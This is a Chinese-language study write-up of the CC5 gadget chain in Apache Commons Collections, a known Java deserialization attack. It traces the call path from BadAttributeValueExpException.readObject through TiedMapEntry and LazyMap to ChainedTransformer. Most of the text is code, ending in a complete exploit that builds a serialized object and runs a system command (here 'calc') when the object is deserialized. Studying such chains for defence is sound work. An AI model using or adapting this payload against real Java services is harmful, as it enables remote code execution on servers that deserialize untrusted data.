正向分析
入口类是 BadAttributeValueExpException
的 readObject()
方法,这一个倒是不难。关键是后面的。
逆向思维来看的话,LazyMap.get()
方法被 TiedMapEntry.toString()
所调用,而如果去找谁调用了 toString()
这也太多了,太难找了,我们只能正向分析。
BadAttributeValueExpException</font>
的readObject

TiedMapEntry
类下的toString

同类下的getValue

再找到LazyMap
下的get

后半段是cc1正链的后半部分到LazyMap
,直接拿进来
1
2
3
4
5
6
7
8
9
10
11
12
13
|
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// System.out.println(transformers[0]);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("value","456");
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
// decoratemap.get(Runtime.class);
|
TiedMapEntry.getValue
触发LazyMap.get



1
2
|
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap,Runtime.class);
// tiedMapEntry.toString();
|
回到链首

可以看到存在两个toString
方法


当实例化BadAttributeValueExpException
传入参数TiedMapEntry
后
val也会得到TiedMapEntry
,从而进入链子
所以需要先给个假的,再通过反射修改val
的值
1
2
3
4
5
|
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
|
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// System.out.println(transformers[0]);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("value","456");
Map<Object,Object> decoratemap = LazyMap.decorate(hashmap,chainedTransformer);
// decoratemap.get(Runtime.class);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap,Runtime.class);
// tiedMapEntry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
|
流程图
1
2
3
4
5
6
7
|
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
|
